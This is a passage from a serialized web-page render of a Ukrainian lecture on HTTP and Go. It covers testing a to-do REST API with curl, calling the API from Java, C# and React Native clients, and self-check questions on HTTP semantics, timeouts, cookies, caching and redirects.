"class":5585},[5557,39149,22710],{"class":5654},[5557,39151,39153],{"class":5559,"line":39152},214,[5557,39154,5575],{"emptyLinePlaceholder":5574},[5557,39156,39158,39160,39162,39164,39166,39168,39170,39173],{"class":5559,"line":39157},215,[5557,39159,5763],{"class":5654},[5557,39161,5268],{"class":5585},[5557,39163,5768],{"class":5637},[5557,39165,5673],{"class":5585},[5557,39167,5723],{"class":5592},[5557,39169,6372],{"class":6358},[5557,39171,39172],{"class":5592},"🛑 Зупиняємо сервер...\"",[5557,39174,5623],{"class":5585},[5557,39176,39178],{"class":5559,"line":39177},216,[5557,39179,5575],{"emptyLinePlaceholder":5574},[5557,39181,39183,39185,39187,39189,39191,39193,39195,39197,39199,39201,39203,39205,39207,39209,39211,39213,39215,39217],{"class":5559,"line":39182},217,[5557,39184,16899],{"class":5654},[5557,39186,5305],{"class":5585},[5557,39188,22723],{"class":5654},[5557,39190,5663],{"class":5585},[5557,39192,5317],{"class":5654},[5557,39194,5268],{"class":5585},[5557,39196,22732],{"class":5637},[5557,39198,5673],{"class":5585},[5557,39200,5317],{"class":5654},[5557,39202,5268],{"class":5585},[5557,39204,22741],{"class":5637},[5557,39206,20677],{"class":5585},[5557,39208,30331],{"class":6134},[5557,39210,18338],{"class":5585},[5557,39212,20432],{"class":5654},[5557,39214,5268],{"class":5585},[5557,39216,20437],{"class":5654},[5557,39218,5623],{"class":5585},[5557,39220,39222,39224,39226],{"class":5559,"line":39221},218,[5557,39223,5741],{"class":5581},[5557,39225,22763],{"class":5637},[5557,39227,5752],{"class":5585},[5557,39229,39231],{"class":5559,"line":39230},219,[5557,39232,5575],{"emptyLinePlaceholder":5574},[5557,39234,39236,39238,39240,39242,39244,39246,39248,39250,39252,39254,39256,39258,39260],{"class":5559,"line":39235},220,[5557,39237,5689],{"class":5581},[5557,39239,5692],{"class":5654},[5557,39241,5663],{"class":5585},[5557,39243,22578],{"class":5654},[5557,39245,5268],{"class":5585},[5557,39247,22041],{"class":5637},[5557,39249,5673],{"class":5585},[5557,39251,18853],{"class":5654},[5557,39253,15210],{"class":5585},[5557,39255,5660],{"class":5654},[5557,39257,5695],{"class":5585},[5557,39259,5698],{"class":5563},[5557,39261,5701],{"class":5585},[5557,39263,39265,39267,39269,39271,39273,39275,39277,39279,39281,39283],{"class":5559,"line":39264},221,[5557,39266,5707],{"class":5654},[5557,39268,5268],{"class":5585},[5557,39270,5712],{"class":5637},[5557,39272,5673],{"class":5585},[5557,39274,30394],{"class":5592},[5557,39276,5720],{"class":5654},[5557,39278,5723],{"class":5592},[5557,39280,5305],{"class":5585},[5557,39282,5660],{"class":5654},[5557,39284,5623],{"class":5585},[5557,39286,39288],{"class":5559,"line":39287},222,[5557,39289,5735],{"class":5585},[5557,39291,39293],{"class":5559,"line":39292},223,[5557,39294,5575],{"emptyLinePlaceholder":5574},[5557,39296,39298,39300,39302,39304,39306,39308],{"class":5559,"line":39297},224,[5557,39299,5763],{"class":5654},[5557,39301,5268],{"class":5585},[5557,39303,5768],{"class":5637},[5557,39305,5673],{"class":5585},[5557,39307,30425],{"class":5592},[5557,39309,5623],{"class":5585},[5557,39311,39313],{"class":5559,"line":39312},225,[5557,39314,5922],{"class":5585},[7167,39316,39318],{"id":39317},"тестування-api-через-curl","Тестування API через cURL",[5348,39320,39321],{},"Запустіть сервер:",[5464,39323,39325],{"className":7017,"code":39324,"language":7019,"meta":5472,"style":5472},"go run cmd\u002Ftodo-api\u002Fmain.go\n",[5236,39326,39327],{"__ignoreMap":5472},[5557,39328,39329,39331,39333],{"class":5559,"line":5560},[5557,39330,5553],{"class":5637},[5557,39332,7028],{"class":5592},[5557,39334,39335],{"class":5592}," cmd\u002Ftodo-api\u002Fmain.go\n",[5348,39337,39338],{},[5205,39339,39340],{},"Отримати всі задачі:",[5464,39342,39344],{"className":7017,"code":39343,"language":7019,"meta":5472,"style":5472},"curl http:\u002F\u002Flocalhost:8080\u002Ftasks\n",[5236,39345,39346],{"__ignoreMap":5472},[5557,39347,39348,39350],{"class":5559,"line":5560},[5557,39349,7048],{"class":5637},[5557,39351,39352],{"class":5592}," http:\u002F\u002Flocalhost:8080\u002Ftasks\n",[5348,39354,39355],{},"Відповідь:",[5464,39357,39359],{"className":7057,"code":39358,"language":6560,"meta":5472,"style":5472},"{\n  \"tasks\": [\n    {\n      \"id\": 1,\n      \"title\": \"Вивчити HTTP протокол\",\n      \"completed\": false,\n      \"created_at\": \"2026-09-01T12:30:00Z\"\n    },\n    {\n      \"id\": 2,\n      \"title\": \"Створити REST API на Go\",\n      \"completed\": false,\n      \"created_at\": \"2026-09-01T12:30:01Z\"\n    }\n  ],\n  \"count\": 2\n}\n",[5236,39360,39361,39365,39373,39378,39389,39400,39411,39421,39425,39429,39439,39449,39459,39468,39472,39477,39487],{"__ignoreMap":5472},[5557,39362,39363],{"class":5559,"line":5560},[5557,39364,6695],{"class":5585},[5557,39366,39367,39370],{"class":5559,"line":5571},[5557,39368,39369],{"class":7068},"  \"tasks\"",[5557,39371,39372],{"class":5585},": [\n",[5557,39374,39375],{"class":5559,"line":5578},[5557,39376,39377],{"class":5585},"    {\n",[5557,39379,39380,39383,39385,39387],{"class":5559,"line":5589},[5557,39381,39382],{"class":7068},"      \"id\"",[5557,39384,6704],{"class":5585},[5557,39386,6213],{"class":6134},[5557,39388,6710],{"class":5585},[5557,39390,39391,39394,39396,39398],{"class":5559,"line":5596},[5557,39392,39393],{"class":7068},"      \"title\"",[5557,39395,6704],{"class":5585},[5557,39397,38685],{"class":5592},[5557,39399,6710],{"class":5585},[5557,39401,39402,39405,39407,39409],{"class":5559,"line":5602},[5557,39403,39404],{"class":7068},"      \"completed\"",[5557,39406,6704],{"class":5585},[5557,39408,36875],{"class":5563},[5557,39410,6710],{"class":5585},[5557,39412,39413,39416,39418],{"class":5559,"line":5608},[5557,39414,39415],{"class":7068},"      \"created_at\"",[5557,39417,6704],{"class":5585},[5557,39419,39420],{"class":5592},"\"2026-09-01T12:30:00Z\"\n",[5557,39422,39423],{"class":5559,"line":5614},[5557,39424,23888],{"class":5585},[5557,39426,39427],{"class":5559,"line":5620},[5557,39428,39377],{"class":5585},[5557,39430,39431,39433,39435,39437],{"class":5559,"line":5626},[5557,39432,39382],{"class":7068},[5557,39434,6704],{"class":5585},[5557,39436,6135],{"class":6134},[5557,39438,6710],{"class":5585},[5557,39440,39441,39443,39445,39447],{"class":5559,"line":5631},[5557,39442,39393],{"class":7068},[5557,39444,6704],{"class":5585},[5557,39446,38701],{"class":5592},[5557,39448,6710],{"class":5585},[5557,39450,39451,39453,39455,39457],{"class":5559,"line":5644},[5557,39452,39404],{"class":7068},[5557,39454,6704],{"class":5585},[5557,39456,36875],{"class":5563},[5557,39458,6710],{"class":5585},[5557,39460,39461,39463,39465],{"class":5559,"line":5651},[5557,39462,39415],{"class":7068},[5557,39464,6704],{"class":5585},[5557,39466,39467],{"class":5592},"\"2026-09-01T12:30:01Z\"\n",[5557,39469,39470],{"class":5559,"line":5686},[5557,39471,5735],{"class":5585},[5557,39473,39474],{"class":5559,"line":5704},[5557,39475,39476],{"class":5585},"  ],\n",[5557,39478,39479,39482,39484],{"class":5559,"line":5732},[5557,39480,39481],{"class":7068},"  \"count\"",[5557,39483,6704],{"class":5585},[5557,39485,39486],{"class":6134},"2\n",[5557,39488,39489],{"class":5559,"line":5738},[5557,39490,5922],{"class":5585},[5348,39492,39493],{},[5205,39494,39495],{},"Створити нову задачу:",[5464,39497,39499],{"className":7017,"code":39498,"language":7019,"meta":5472,"style":5472},"curl -X POST http:\u002F\u002Flocalhost:8080\u002Ftasks \\\n  -H \"Content-Type: application\u002Fjson\" \\\n  -d '{\"title\": \"Додати документацію API\"}'\n",[5236,39500,39501,39514,39522],{"__ignoreMap":5472},[5557,39502,39503,39505,39507,39509,39512],{"class":5559,"line":5560},[5557,39504,7048],{"class":5637},[5557,39506,31733],{"class":5563},[5557,39508,31736],{"class":5592},[5557,39510,39511],{"class":5592}," http:\u002F\u002Flocalhost:8080\u002Ftasks",[5557,39513,31742],{"class":6358},[5557,39515,39516,39518,39520],{"class":5559,"line":5571},[5557,39517,31747],{"class":5563},[5557,39519,31750],{"class":5592},[5557,39521,31742],{"class":6358},[5557,39523,39524,39526],{"class":5559,"line":5578},[5557,39525,31757],{"class":5563},[5557,39527,39528],{"class":5592}," '{\"title\": \"Додати документацію API\"}'\n",[5348,39530,39531],{},"Відповідь (статус-код 201):",[5464,39533,39535],{"className":7057,"code":39534,"language":6560,"meta":5472,"style":5472},"{\n  \"id\": 4,\n  \"title\": \"Додати документацію API\",\n  \"completed\": false,\n  \"created_at\": \"2026-09-01T12:35:00Z\"\n}\n",[5236,39536,39537,39541,39553,39565,39576,39586],{"__ignoreMap":5472},[5557,39538,39539],{"class":5559,"line":5560},[5557,39540,6695],{"class":5585},[5557,39542,39543,39546,39548,39551],{"class":5559,"line":5571},[5557,39544,39545],{"class":7068},"  \"id\"",[5557,39547,6704],{"class":5585},[5557,39549,39550],{"class":6134},"4",[5557,39552,6710],{"class":5585},[5557,39554,39555,39558,39560,39563],{"class":5559,"line":5578},[5557,39556,39557],{"class":7068},"  \"title\"",[5557,39559,6704],{"class":5585},[5557,39561,39562],{"class":5592},"\"Додати документацію API\"",[5557,39564,6710],{"class":5585},[5557,39566,39567,39570,39572,39574],{"class":5559,"line":5589},[5557,39568,39569],{"class":7068},"  \"completed\"",[5557,39571,6704],{"class":5585},[5557,39573,36875],{"class":5563},[5557,39575,6710],{"class":5585},[5557,39577,39578,39581,39583],{"class":5559,"line":5596},[5557,39579,39580],{"class":7068},"  \"created_at\"",[5557,39582,6704],{"class":5585},[5557,39584,39585],{"class":5592},"\"2026-09-01T12:35:00Z\"\n",[5557,39587,39588],{"class":5559,"line":5602},[5557,39589,5922],{"class":5585},[5348,39591,39592],{},[5205,39593,39594],{},"Отримати задачу за ID:",[5464,39596,39598],{"className":7017,"code":39597,"language":7019,"meta":5472,"style":5472},"curl http:\u002F\u002Flocalhost:8080\u002Ftasks\u002F1\n",[5236,39599,39600],{"__ignoreMap":5472},[5557,39601,39602,39604],{"class":5559,"line":5560},[5557,39603,7048],{"class":5637},[5557,39605,39606],{"class":5592}," http:\u002F\u002Flocalhost:8080\u002Ftasks\u002F1\n",[5348,39608,39609],{},[5205,39610,39611],{},"Видалити задачу:",[5464,39613,39615],{"className":7017,"code":39614,"language":7019,"meta":5472,"style":5472},"curl -X DELETE http:\u002F\u002Flocalhost:8080\u002Ftasks\u002F1\n",[5236,39616,39617],{"__ignoreMap":5472},[5557,39618,39619,39621,39623,39626],{"class":5559,"line":5560},[5557,39620,7048],{"class":5637},[5557,39622,31733],{"class":5563},[5557,39624,39625],{"class":5592}," DELETE",[5557,39627,39606],{"class":5592},[5348,39629,39630],{},"Відповідь: статус-код 204 (No Content).",[5340,39632],{},[5343,39634,39636],{"id":39635},"інтеграція-з-клієнтами-на-різних-платформах","Інтеграція з клієнтами на різних платформах",[7167,39638,39640],{"id":39639},"підключення-з-desktop-клієнта-javafx-c-avalonia","Підключення з Desktop-клієнта (JavaFX \u002F C# Avalonia)",[5348,39642,39643,39644,7256],{},"У JavaFX ви можете використовувати бібліотеку ",[5236,39645,39646],{},"HttpClient",[5464,39648,39652],{"className":39649,"code":39650,"language":39651,"meta":5472,"style":5472},"language-java shiki shiki-themes light-plus dark-plus dark-plus","HttpClient client = HttpClient.newHttpClient();\nHttpRequest request = HttpRequest.newBuilder()\n    .uri(URI.create(\"http:\u002F\u002Flocalhost:8080\u002Ftasks\"))\n    .header(\"Content-Type\", \"application\u002Fjson\")\n    .GET()\n    .build();\n\nHttpResponse\u003CString> response = client.send(request, HttpResponse.BodyHandlers.ofString());\nSystem.out.println(response.body());\n","java",[5236,39653,39654,39673,39692,39717,39733,39741,39750,39754,39795],{"__ignoreMap":5472},[5557,39655,39656,39658,39661,39663,39665,39667,39670],{"class":5559,"line":5560},[5557,39657,39646],{"class":5567},[5557,39659,39660],{"class":5654}," client",[5557,39662,15023],{"class":5585},[5557,39664,39646],{"class":5654},[5557,39666,5268],{"class":5585},[5557,39668,39669],{"class":5637},"newHttpClient",[5557,39671,39672],{"class":5585},"();\n",[5557,39674,39675,39678,39681,39683,39685,39687,39690],{"class":5559,"line":5571},[5557,39676,39677],{"class":5567},"HttpRequest",[5557,39679,39680],{"class":5654}," request",[5557,39682,15023],{"class":5585},[5557,39684,39677],{"class":5654},[5557,39686,5268],{"class":5585},[5557,39688,39689],{"class":5637},"newBuilder",[5557,39691,5752],{"class":5585},[5557,39693,39694,39697,39700,39702,39705,39707,39710,39712,39715],{"class":5559,"line":5578},[5557,39695,39696],{"class":5585},"    .",[5557,39698,39699],{"class":5637},"uri",[5557,39701,5673],{"class":5585},[5557,39703,39704],{"class":5654},"URI",[5557,39706,5268],{"class":5585},[5557,39708,39709],{"class":5637},"create",[5557,39711,5673],{"class":5585},[5557,39713,39714],{"class":5592},"\"http:\u002F\u002Flocalhost:8080\u002Ftasks\"",[5557,39716,6878],{"class":5585},[5557,39718,39719,39721,39723,39725,39727,39729,39731],{"class":5559,"line":5589},[5557,39720,39696],{"class":5585},[5557,39722,27414],{"class":5637},[5557,39724,5673],{"class":5585},[5557,39726,11098],{"class":5592},[5557,39728,5305],{"class":5585},[5557,39730,6555],{"class":5592},[5557,39732,5623],{"class":5585},[5557,39734,39735,39737,39739],{"class":5559,"line":5596},[5557,39736,39696],{"class":5585},[5557,39738,5490],{"class":5637},[5557,39740,5752],{"class":5585},[5557,39742,39743,39745,39748],{"class":5559,"line":5602},[5557,39744,39696],{"class":5585},[5557,39746,39747],{"class":5637},"build",[5557,39749,39672],{"class":5585},[5557,39751,39752],{"class":5559,"line":5608},[5557,39753,5575],{"emptyLinePlaceholder":5574},[5557,39755,39756,39759,39761,39763,39766,39768,39770,39772,39774,39777,39780,39782,39784,39787,39789,39792],{"class":5559,"line":5614},[5557,39757,39758],{"class":5567},"HttpResponse",[5557,39760,31781],{"class":5585},[5557,39762,36313],{"class":5567},[5557,39764,39765],{"class":5585},"> ",[5557,39767,6962],{"class":5654},[5557,39769,15023],{"class":5585},[5557,39771,24210],{"class":5654},[5557,39773,5268],{"class":5585},[5557,39775,39776],{"class":5637},"send",[5557,39778,39779],{"class":5585},"(request, ",[5557,39781,39758],{"class":5654},[5557,39783,5268],{"class":5585},[5557,39785,39786],{"class":5654},"BodyHandlers",[5557,39788,5268],{"class":5585},[5557,39790,39791],{"class":5637},"ofString",[5557,39793,39794],{"class":5585},"());\n",[5557,39796,39797,39800,39802,39805,39807,39810,39812,39814,39816,39818],{"class":5559,"line":5620},[5557,39798,39799],{"class":5654},"System",[5557,39801,5268],{"class":5585},[5557,39803,39804],{"class":5654},"out",[5557,39806,5268],{"class":5585},[5557,39808,39809],{"class":5637},"println",[5557,39811,5673],{"class":5585},[5557,39813,6962],{"class":5654},[5557,39815,5268],{"class":5585},[5557,39817,5531],{"class":5637},[5557,39819,39794],{"class":5585},[5348,39821,39822],{},"У C# Avalonia:",[5464,39824,39828],{"className":39825,"code":39826,"language":39827,"meta":5472,"style":5472},"language-csharp shiki shiki-themes light-plus dark-plus dark-plus","using var httpClient = new HttpClient();\nvar response = await httpClient.GetStringAsync(\"http:\u002F\u002Flocalhost:8080\u002Ftasks\");\nConsole.WriteLine(response);\n","csharp",[5236,39829,39830,39851,39876],{"__ignoreMap":5472},[5557,39831,39832,39835,39838,39841,39843,39846,39849],{"class":5559,"line":5560},[5557,39833,39834],{"class":5581},"using",[5557,39836,39837],{"class":5563}," var",[5557,39839,39840],{"class":5654}," httpClient",[5557,39842,15023],{"class":5585},[5557,39844,39845],{"class":5563},"new",[5557,39847,39848],{"class":5567}," HttpClient",[5557,39850,39672],{"class":5585},[5557,39852,39853,39855,39858,39860,39863,39865,39867,39870,39872,39874],{"class":5559,"line":5571},[5557,39854,23730],{"class":5563},[5557,39856,39857],{"class":5654}," response",[5557,39859,15023],{"class":5585},[5557,39861,39862],{"class":5563},"await",[5557,39864,39840],{"class":5654},[5557,39866,5268],{"class":5585},[5557,39868,39869],{"class":5637},"GetStringAsync",[5557,39871,5673],{"class":5585},[5557,39873,39714],{"class":5592},[5557,39875,8807],{"class":5585},[5557,39877,39878,39881,39883,39886,39888,39890],{"class":5559,"line":5578},[5557,39879,39880],{"class":5654},"Console",[5557,39882,5268],{"class":5585},[5557,39884,39885],{"class":5637},"WriteLine",[5557,39887,5673],{"class":5585},[5557,39889,6962],{"class":5654},[5557,39891,8807],{"class":5585},[7167,39893,39895],{"id":39894},"підключення-з-мобільного-клієнта-react-native","Підключення з мобільного клієнта (React Native)",[5464,39897,39899],{"className":8774,"code":39898,"language":8776,"meta":5472,"style":5472},"fetch('http:\u002F\u002Flocalhost:8080\u002Ftasks')\n  .then(response => response.json())\n  .then(data => console.log(data.tasks))\n  .catch(error => console.error('Error:', error));\n",[5236,39900,39901,39912,39935,39964],{"__ignoreMap":5472},[5557,39902,39903,39905,39907,39910],{"class":5559,"line":5560},[5557,39904,8788],{"class":5637},[5557,39906,5673],{"class":5585},[5557,39908,39909],{"class":5592},"'http:\u002F\u002Flocalhost:8080\u002Ftasks'",[5557,39911,5623],{"class":5585},[5557,39913,39914,39917,39920,39922,39924,39927,39929,39931,39933],{"class":5559,"line":5571},[5557,39915,39916],{"class":5585},"  .",[5557,39918,39919],{"class":5637},"then",[5557,39921,5673],{"class":5585},[5557,39923,6962],{"class":5654},[5557,39925,39926],{"class":5563}," =>",[5557,39928,39857],{"class":5654},[5557,39930,5268],{"class":5585},[5557,39932,6560],{"class":5637},[5557,39934,6270],{"class":5585},[5557,39936,39937,39939,39941,39943,39945,39947,39950,39952,39954,39956,39958,39960,39962],{"class":5559,"line":5578},[5557,39938,39916],{"class":5585},[5557,39940,39919],{"class":5637},[5557,39942,5673],{"class":5585},[5557,39944,10950],{"class":5654},[5557,39946,39926],{"class":5563},[5557,39948,39949],{"class":5654}," console",[5557,39951,5268],{"class":5585},[5557,39953,21807],{"class":5637},[5557,39955,5673],{"class":5585},[5557,39957,10950],{"class":5654},[5557,39959,5268],{"class":5585},[5557,39961,36909],{"class":5654},[5557,39963,6878],{"class":5585},[5557,39965,39966,39968,39971,39973,39975,39977,39979,39981,39983,39985,39988,39990,39992],{"class":5559,"line":5589},[5557,39967,39916],{"class":5585},[5557,39969,39970],{"class":5637},"catch",[5557,39972,5673],{"class":5585},[5557,39974,12061],{"class":5654},[5557,39976,39926],{"class":5563},[5557,39978,39949],{"class":5654},[5557,39980,5268],{"class":5585},[5557,39982,12061],{"class":5637},[5557,39984,5673],{"class":5585},[5557,39986,39987],{"class":5592},"'Error:'",[5557,39989,5305],{"class":5585},[5557,39991,12061],{"class":5654},[5557,39993,39994],{"class":5585},"));\n",[7098,39996,39997,40000],{},[5205,39998,39999],{},"CORS для веб- та мобільних клієнтів:"," Якщо ваш клієнт працює в браузері або через React Native на іншому домені\u002Fпорту, вам потрібно налаштувати CORS-заголовки на сервері. У наступній лекції ми детально розглянемо патерн Middleware для автоматичної обробки CORS.",[5340,40002],{},[5343,40004,40006],{"id":40005},"підсумкові-запитання-для-самоперевірки","Підсумкові запитання для самоперевірки",[16462,40008,40009,40013,40043,40050,40081,40108,40127,40160,40177,40211,40243,40265],{},[16465,40010,40012],{"icon":16467,"label":40011},"❓ Чому HTTP\u002F1.0 вважається неефективним для сучасних вебсайтів?","HTTP\u002F1.0 вимагав окремого TCP-з'єднання для кожного запиту. Якщо вебсторінка містила 50 ресурсів (HTML, CSS, JS, зображення), браузер повинен був встановити та закрити 50 окремих з'єднань. Кожне з'єднання потребує 3-way handshake (затримка RTT), виділення пам'яті на сервері та налаштування вікна перегляду TCP. Це створювало величезні накладні витрати на мережеву взаємодію.",[16465,40014,40016,40029],{"icon":16467,"label":40015},"❓ Чим відрізняються методи PUT та PATCH у REST API?",[5348,40017,40018,40020,40021,40024,40025,40028],{},[5205,40019,13179],{}," використовується для ",[5205,40022,40023],{},"повної заміни"," ресурсу. Ви відправляєте повний об'єкт із усіма полями, і сервер замінює існуючий ресурс новим представленням. Наприклад, ",[5236,40026,40027],{},"PUT \u002Fapi\u002Fusers\u002F42"," з повним об'єктом користувача.",[5348,40030,40031,40020,40033,40036,40037,7872,40040,40042],{},[5205,40032,16396],{},[5205,40034,40035],{},"часткового оновлення"," ресурсу. Ви відправляєте лише ті поля, які потрібно змінити. Наприклад, ",[5236,40038,40039],{},"PATCH \u002Fapi\u002Fusers\u002F42",[5236,40041,7961],{}," змінює лише email, залишаючи інші поля без змін.",[16465,40044,40046,40047,40049],{"icon":16467,"label":40045},"❓ Навіщо налаштовувати ReadTimeout та WriteTimeout у продакшн-сервері?","Без налаштованих таймаутів повільний або зловмисний клієнт може тримати з'єднання відкритим необмежений час. Наприклад, атака ",[5205,40048,29789],{}," відкриває тисячі з'єднань і відправляє дані по одному байту за секунду. Без таймауту кожне таке з'єднання створює горутину, яка ніколи не завершується, виснажуючи пам'ять сервера. Налаштовані таймаути автоматично закривають такі з'єднання, захищаючи сервер від виснаження ресурсів.",[16465,40051,40053,40069],{"icon":16467,"label":40052},"❓ Чому метод GET повинен бути ідемпотентним, а POST — ні?",[5348,40054,40055,40057,40058,40061,40062,40065,40066,5268],{},[5205,40056,5490],{}," є ",[5205,40059,40060],{},"safe"," (безпечним) методом, тобто він не повинен змінювати стан сервера. Тому багаторазовий виклик ",[5236,40063,40064],{},"GET \u002Fapi\u002Fusers\u002F42"," завжди повертає той самий результат — він ",[5205,40067,40068],{},"ідемпотентний",[5348,40070,40071,40073,40074,40077,40078,5268],{},[5205,40072,13176],{}," використовується для створення нових ресурсів або виконання дій, що змінюють стан. Повторний виклик ",[5236,40075,40076],{},"POST \u002Fapi\u002Fusers"," із тими самими даними може створити дублікати користувачів, тому POST ",[5205,40079,40080],{},"не є ідемпотентним",[16465,40082,40084,40090,40101],{"icon":16467,"label":40083},"❓ Що таке Graceful Shutdown і чому він критичний для продакшн-систем?",[5348,40085,40086,40089],{},[5205,40087,40088],{},"Graceful Shutdown"," — це процес коректного завершення роботи сервера:",[5477,40091,40092,40095,40098],{},[5201,40093,40094],{},"Сервер припиняє приймати нові з'єднання.",[5201,40096,40097],{},"Усі активні запити завершуються.",[5201,40099,40100],{},"Сервер звільняє ресурси та коректно завершує роботу.",[5348,40102,40103,40104,5226,40106,7121],{},"Без Graceful Shutdown при перезапуску сервера (наприклад, при розгортанні нової версії) всі активні клієнти отримають помилки з'єднання, транзакції в базі даних можуть залишитися незавершеними, файли — недописаними. Graceful Shutdown забезпечує ",[5205,40105,30534],{},[5228,40107,30537],{},[16465,40109,40111,40114,40115,40118,40119,40122,40123,40126],{"icon":16467,"label":40110},"❓ Чому io.Copy ефективніший за завантаження всього файлу в пам'ять?",[5236,40112,40113],{},"io.Copy(dst, src)"," читає дані ",[5205,40116,40117],{},"блоками по 32 КБ"," і записує їх порціями. Якщо файл має розмір 2 ГБ, у пам'яті одночасно зберігається лише 32 КБ. Якщо ж ви спробуєте зробити ",[5236,40120,40121],{},"data, _ := ioutil.ReadAll(file)",", Go завантажить усі 2 ГБ у пам'ять, що може спричинити OOM (",[5228,40124,40125],{},"Out Of Memory",") на сервері із обмеженими ресурсами.",[16465,40128,40130,40145,40157],{"icon":16467,"label":40129},"❓ Чому важливо встановлювати атрибути HttpOnly та Secure для session cookies?",[5348,40131,40132,40136,40137,40139,40140,5226,40142,40144],{},[5205,40133,40134],{},[5236,40135,8663],{}," робить cookie недоступним через JavaScript (",[5236,40138,8756],{},"), що захищає від атак ",[5205,40141,8760],{},[5228,40143,8763],{},"). Якщо зловмисник знайде вразливість у frontend-коді і впровадить скрипт, він не зможе викрасти сесійний токен.",[5348,40146,40147,40151,40152,8824,40154,40156],{},[5205,40148,40149],{},[5236,40150,8649],{}," гарантує, що cookie передається лише через ",[5205,40153,8823],{},[5205,40155,8827],{}," у відкритих Wi-Fi мережах.",[5348,40158,40159],{},"Без цих атрибутів сесійні куки стають легкою мішенню для зловмисників.",[16465,40161,40163,5226,40165,40167,40168,40170,40171,40173,40174,40176],{"icon":16467,"label":40162},"❓ Що таке ETag і як він допомагає зменшити трафік?",[5205,40164,7281],{},[5228,40166,10751],{},") — це унікальний ідентифікатор версії ресурсу (зазвичай хеш вмісту). Коли клієнт повторно запитує ресурс, він відправляє збережений ETag через заголовок ",[5236,40169,7284],{},". Якщо ресурс ",[5205,40172,10782],{},", сервер повертає статус-код ",[5205,40175,11171],{}," без тіла відповіді — економія трафіку може сягати 99% для великих ресурсів (зображення, PDF, JSON з сотнями об'єктів). Браузер використовує кешовану версію.",[16465,40178,40180,40190,40200],{"icon":16467,"label":40179},"❓ Яка різниця між статус-кодами 301 та 307 редиректів?",[5348,40181,40182,40185,40186,40189],{},[5205,40183,40184],{},"301 Moved Permanently"," — постійний редирект, але історично браузери можуть ",[5205,40187,40188],{},"змінити POST на GET"," при автоматичному переході. Пошукові системи оновлюють індекси.",[5348,40191,40192,40195,40196,40199],{},[5205,40193,40194],{},"307 Temporary Redirect"," — тимчасовий редирект з ",[5205,40197,40198],{},"гарантією збереження HTTP-методу",": якщо клієнт відправив POST із тілом, редирект буде POST із тим самим тілом. Використовується для RESTful API, де важлива семантика методу.",[5348,40201,40202,40203,40206,40207,40210],{},"Для API рекомендується використовувати ",[5205,40204,40205],{},"307"," (тимчасовий) або ",[5205,40208,40209],{},"308"," (постійний з збереженням методу) замість 301\u002F302.",[16465,40212,40214,40220,40240],{"icon":16467,"label":40213},"❓ Навіщо потрібен механізм Range Requests?",[5348,40215,40216,40219],{},[5205,40217,40218],{},"Range Requests"," дозволяє клієнту запитувати лише частину файлу (діапазон байтів) замість завантаження повністю. Це критично для:",[5477,40221,40222,40228,40234],{},[5201,40223,40224,40227],{},[5205,40225,40226],{},"Докачування великих файлів"," — якщо завантаження обірвалося на 80%, клієнт продовжує з місця обриву, а не з початку.",[5201,40229,40230,40233],{},[5205,40231,40232],{},"Потокового відео"," — відеоплеєр завантажує лише поточний сегмент, економлячи трафік.",[5201,40235,40236,40239],{},[5205,40237,40238],{},"Швидкого перегляду PDF"," — PDF-в'юер завантажує лише поточну сторінку.",[5348,40241,40242],{},"Без Range Requests користувачі з повільним інтернетом не могли б ефективно працювати з великими файлами.",[16465,40244,40246,40257],{"icon":16467,"label":40245},"❓ Як HTTP\u002F2 Server Push може погіршити продуктивність?",[5348,40247,40248,40249,40252,40253,40256],{},"Якщо браузер ",[5205,40250,40251],{},"уже має ресурс у кеші"," (CSS, JS, шрифти), Server Push відправить його повторно, ",[5205,40254,40255],{},"марнуючи трафік"," та блокуючи пропускну здатність для критичних даних. Також, якщо клієнт використовує повільне з'єднання (3G), проштовхування великих ресурсів може затримати завантаження критичного HTML.",[5348,40258,40259,40262,40263,5268],{},[5205,40260,40261],{},"Правильне використання:"," Push лише критичні ресурси (above-the-fold CSS), які гарантовано потрібні, і лише для нових користувачів без кешу. Сучасні CDN (Cloudflare, Fastly) автоматично визначають, чи потрібен Push, на основі заголовка ",[5236,40264,7339],{},[16465,40266,40268,40281],{"icon":16467,"label":40267},"❓ Що робить Content Negotiation важливим для RESTful API?",[5348,40269,40270,40272,40273,40276,40277,40280],{},[5205,40271,11192],{}," дозволяє одному API-ендпоінту обслуговувати ",[5205,40274,40275],{},"різні типи клієнтів",": вебдодаток отримує JSON, мобільний клієнт — компактний Protobuf, адміністративна панель — XML, звітна система — CSV. Це забезпечує ",[5205,40278,40279],{},"гнучкість без дублювання коду"," — один обробник, багато форматів.",[5348,40282,40283,40284,40286],{},"Клієнт вказує бажаний формат через заголовок ",[5236,40285,5830],{},", сервер обирає найкращий. Це стандарт RESTful архітектури рівня зрілості Richardson Level 3.",[5340,40288],{},[5343,40290,40292],{"id":40291},"висновки-та-ключові-поняття","Висновки та ключові поняття",[5348,40294,40295],{},"У цій лекції ми здійснили всебічне дослідження протоколу HTTP та його реалізації в Go — від елементарного TCP-сервера до професійних продакшн-застосунків із підтримкою кешування, часткового завантаження та HTTP\u002F2. Ми розібрали:",[5190,40297,40298,40333,40362,40391],{},[5193,40299,40301],{"icon":15,"title":40300},"📚 Фундаментальні концепції HTTP",[5198,40302,40303,40309,40315,40321,40327],{},[5201,40304,40305,40308],{},[5205,40306,40307],{},"Еволюція протоколу:"," HTTP\u002F1.0 → HTTP\u002F1.1 (постійні з'єднання) → HTTP\u002F2 (мультиплексування, Server Push, HPACK) → HTTP\u002F3 (QUIC).",[5201,40310,40311,40314],{},[5205,40312,40313],{},"Анатомія запитів\u002Fвідповідей:"," стартовий рядок, заголовки, тіло, структура повідомлень.",[5201,40316,40317,40320],{},[5205,40318,40319],{},"Семантика HTTP-методів:"," GET (safe, idempotent), POST (not idempotent), PUT\u002FPATCH (idempotent), DELETE (idempotent).",[5201,40322,40323,40326],{},[5205,40324,40325],{},"Статус-коди:"," 1xx (інформаційні), 2xx (успіх), 3xx (редиректи), 4xx (помилки клієнта), 5xx (помилки сервера).",[5201,40328,40329,40332],{},[5205,40330,40331],{},"Редиректи:"," 301 vs 307 vs 308, збереження методу, ланцюжки редиректів.",[5193,40334,40336],{"icon":4660,"title":40335},"🔐 Безпека та стан",[5198,40337,40338,40344,40350,40356],{},[5201,40339,40340,40343],{},[5205,40341,40342],{},"HTTP Cookies:"," життєвий цикл, session vs persistent, атрибути безпеки (HttpOnly, Secure, SameSite).",[5201,40345,40346,40349],{},[5205,40347,40348],{},"Захист від атак:"," XSS (HttpOnly), MITM (Secure), CSRF (SameSite).",[5201,40351,40352,40355],{},[5205,40353,40354],{},"Таймаути та захист:"," ReadTimeout, WriteTimeout, IdleTimeout, захист від 